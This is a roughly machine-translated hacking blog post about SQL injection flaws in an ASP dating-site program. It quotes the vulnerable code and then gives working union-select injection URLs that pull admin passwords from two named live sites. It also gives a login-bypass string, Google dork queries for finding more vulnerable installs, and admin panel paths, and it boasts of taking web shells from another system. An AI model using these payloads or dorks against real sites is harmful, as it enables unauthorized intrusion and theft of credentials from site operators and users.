Friend website Injection Vulnerability

Alimail

Injection vulnerability in a dating site. I don't know the program. No copyright. It must be a fake version, because the code is poorly written.
Let's talk about an SQL injection vulnerability.
On the party_discuss_list.asp page, check the code here:
Rs8 = server. CreateObject ("ADODB. recordset ")
SQL = "select * from party_discuss where id =" & Request ("id ")
SQL = SQL & "order by time desc"
Rs8.Open SQL, conn1, 3
No filtering, but it cannot be injected during testing. Tools are useless at this time, but people are active, the key is that when the sentence order by time desc is added, the injection point cannot be determined. However, this can be solved with two union operations. Injection statement:
Http://www.sdqnw.cn/friend/love/party/party_discuss_list.asp? Id = 33 and 1 = 2 union select 1, 2, 4, 5, 6 from party_discuss union select 1, 2, 3, passwd, 5, admin_id from admin

Http://www.xicv.com/love/love/party/party_discuss_list.asp? Id = 1 and 1 = 2 union select 1, 2, 3, 4, 5, 6 from party_discuss union select 1, 2, 3, passwd, 5, admin_id from admin
The password is in plaintext.
2. Background login verification defects. On the after_login.asp page, the account and password are determined as follows:
Admin_id = request ("admin_id") // This is not a single quotation mark
Passwd = replace (trim (request ("passwd ")),"","")

Set conn = Server. CreateObject ("ADODB. Connection ")
DBPath = Server. MapPath ("../db/sjxffriend. asa ")
Conn. Open "driver = {Microsoft Access Driver (*. mdb)}; dbq =" & DBPath
Set rs_admin = Server. CreateObject ("ADODB. Recordset ")
SQL = "select * from admin where admin_id like" & admin_id & "and passwd like" & passwd &""
Rs_admin.open SQL, conn, 3, 2

You can see what to do. Just use or = or. Enter the password as needed.
And cookies injection.
Goole: inurl: party/party_discuss_list.asp. If you do not want to have a password, go directly to the background.
Background address: admin/login.htm

Note: I accidentally dug a hole in another enterprise website system when I dug this hole. I didn't check the source code either.
Google: Format + 86-0769-3301739 background address: manage/login. asp login with a universal password. In a short time, five or six shells will be handed over to enterer for permission escalation. I should have dinner too.
This article comes from the author's Blog http://www.virusest.com/, the original address: html "> http://www.virusest.com/post/69.html